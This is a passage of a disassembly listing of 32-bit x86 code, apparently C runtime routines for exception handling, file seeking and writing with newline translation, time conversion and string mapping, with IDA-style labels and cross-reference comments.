eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 nop call near ptr 2640000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2750000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F call near ptr 2660DCFh nop jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26E0000h nop test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2660DCFh mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26E0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2660DCFh mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi call near ptr 2630000h nop test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi call near ptr 26311ADh nop test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26311ADh jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2800000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2800000h nop test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 27F0000h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 26207ACh nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, 